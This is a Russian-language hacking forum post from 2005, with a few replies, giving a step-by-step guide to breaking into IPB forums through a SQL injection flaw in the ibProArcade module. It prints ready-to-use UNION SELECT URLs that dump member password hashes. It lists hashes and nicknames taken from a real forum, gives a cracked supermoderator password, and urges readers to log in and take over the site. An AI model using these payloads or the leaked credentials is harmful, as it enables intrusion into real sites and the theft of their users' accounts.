( Вход | Регистрация | Поиск )
Ломаем ibProArcade v2.5.x, аля IPB X.X, sql injection
Стандартный · [ Линейный ]
Дата обновления: 19.09.2005 - 21:13, перейти к новому сообщению
Ломаем ibProArcade v2.5.x, получаем доступ к IPB форуму X.X
• 1) Поисковичком шарим в инете на наличие нашего объекта внимания
• 2) Браузером отсылаем такой запрос на его сайт
Если форум на движке ipb 1.x
Цитата | Quote
адресс/index.php?act=Arcade&cat=
-1%20UNION%20SELECT%200,0,password,id,name,0,0,0,0,0,0,
0,0,0,0,0,0,0%20FROM%20ibf_members/*
-1%20UNION%20SELECT%200,0,password,id,name,0,0,0,0,0,0,
0,0,0,0,0,0,0%20FROM%20ibf_members/*
для IPB 2.x
Цитата | Quote
адресс/index.php?act=Arcade&cat=
-1%20UNION%20SELECT%200,0,legacy_password,id,name,0,0,0,0,0,0,0,
0,0,0,0,0,0%20FROM%20ibf_members/*
-1%20UNION%20SELECT%200,0,legacy_password,id,name,0,0,0,0,0,0,0,
0,0,0,0,0,0%20FROM%20ibf_members/*
Примерчик:
http://www.opresident...0ibf_members/*
• 3) Получаем инфу о всякой "полезной лабуде", а вместе с инфой и все пароли пользователей в хэше...
Пример, всё из того же форума
Начало списка хэша, левый столбец
d224e41e79b73a53dcfa86101256c851 ----пароль админа Ник: Ciccio
99f4b99d10c4d7aa96a5cb18477c70a7 ---пароль СуперМодера Ник: BlackyB
• 4) Качаем эту прожку _http://www.insidepro....sswordspro.zip
• 5) Вбиваем в неё хэшь админа или супра (Из примера, он будет такой, Супра:
Code
99f4b99d10c4d7aa96a5cb18477c70a7
) • 6) Перебираем...
• 7) Получаем пароль СуперМодера (из примера)
Ник: Нам уже известен BlackyB
Пароль: 270774
• 8) Вводим эти данные, наслаждаймся от части своим форумом...для полного прихватизирования, Вам надо расшифровать пасс админа, а мне было в лом это делать
--------------------
Не работает ссылка? Пишите в теме, обновим :)! Link not working? Let us know in the comments, we'll fix it!
Трудно найти слова, когда действительно есть что сказать. Э.М. Ремарк
Ответов(10 - 12)
QUOTE(deffer @ 19.09.2005 - 19:55)
В кукисы или в прогу: _http://www.insidepro....sswordspro.zip , для расшифровки...--------------------
Не работает ссылка? Пишите в теме, обновим :)! Link not working? Let us know in the comments, we'll fix it!
Трудно найти слова, когда действительно есть что сказать. Э.М. Ремарк
не я понял что в проге... я чего-то не пойму где там.... вставлял в какой-то функции... а там генерируеться несколько паролей
SoftoRooM © 2004-2024